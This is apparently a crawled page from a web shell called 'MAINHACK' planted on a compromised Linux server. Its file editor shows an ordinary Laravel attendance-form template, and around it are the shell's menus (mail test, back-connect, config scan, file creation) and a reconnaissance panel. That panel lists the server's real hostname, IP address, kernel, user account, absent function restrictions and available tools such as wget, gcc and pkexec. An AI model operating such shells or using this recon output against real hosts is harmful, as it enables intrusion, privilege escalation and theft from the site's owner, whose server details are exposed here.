[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: create.blade.php
@extends('layouts.app') @section('content') <div class="row"> @if(!isset($employees)) <div class="col-lg-4 offset-lg-4"> <div class="card"> <div class="card-header text-center"> <span class="panel-title">{{ _lang('Manage Attendance') }}</span> </div> <div class="card-body"> <form method="post" class="validate" autocomplete="off" action="{{ route('attendance.create') }}" enctype="multipart/form-data"> @csrf <div class="row"> <div class="col-md-12"> <div class="form-group"> <label class="control-label">{{ _lang('Date') }}</label> <input type="text" class="form-control datepicker" name="date" value="{{ old('date') }}" required> </div> </div> <div class="col-md-12 mt-2"> <div class="form-group"> <button type="submit" class="btn btn-primary btn-block">{{ _lang('Next') }}</button> </div> </div> </div> </form> </div> </div> </div> @else <div class="col-lg-10 offset-lg-1"> @if($message != null) <div class="alert alert-danger"> <strong>{{ $message }}</strong> </div> @endif <div class="card"> <div class="card-header text-center"> <span class="panel-title">{{ _lang('Manage Attendance') }}</span> </div> <div class="card-body"> <form method="post" class="validate" autocomplete="off" action="{{ route('attendance.store') }}" enctype="multipart/form-data"> @csrf <input type="hidden" name="date" value="{{ $date }}"> <div class="row"> <div class="col-md-12"> <div class="table-responsive"> <table class="table table-bordered"> <thead> <th>{{ _lang('Employee ID') }}</th> <th>{{ _lang('Name') }}</th> <th>{{ _lang('Status') }}</th> <th>{{ _lang('Leave/Absent Duration') }}</th> <th>{{ _lang('Remarks') }}</th> </thead> <tbody> @foreach($employees as $employee) <tr> <td>{{ $employee->employee_id }}</td> <td>{{ $employee->name }}</td> <td> <input type="hidden" name="employee_id[]" value="{{ $employee->id }}"> <select class="form-control" name="status[]" required> <option value="0" {{ $employee->attendance_status == 0 ? 'selected' : '' }}>{{ _lang('Absent') }}</option> <option value="1" {{ $employee->attendance_status == 1 ? 'selected' : '' }}>{{ _lang('Present') }}</option> <option value="2" {{ $employee->leave_type != null ? 'selected' : '' }}>{{ _lang('Leave') }}</option> </select> </td> <td> <select class="form-control" name="leave_duration[]"> <option value="">{{ _lang('Select One') }}</option> <option value="full_day" {{ $employee->leave_duration == 'full_day' || $employee->attendance_leave_duration == 'full_day' ? 'selected' : '' }}>{{ _lang('Full Day') }}</option> <option value="half_day" {{ $employee->leave_duration == 'half_day' || $employee->attendance_leave_duration == 'half_day' ? 'selected' : '' }}>{{ _lang('Half Day') }}</option> </select> </td> <td> <input type="hidden" name="leave_type[]" value="{{ $employee->leave_type }}"> <textarea name="remarks[]" class="form-control">{{ $employee->attendance_remarks == null ? $employee->leave_description : $employee->attendance_remarks }}</textarea> </td> </tr> @endforeach </tbody> </table> </div> </div> <div class="col-md-12 mt-2"> <div class="form-group"> <button type="submit" class="btn btn-primary"><i class="ti-check-box mr-2"></i> {{ _lang('Submit') }}</button> </div> </div> </div> </form> </div> </div> </div> @endif </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002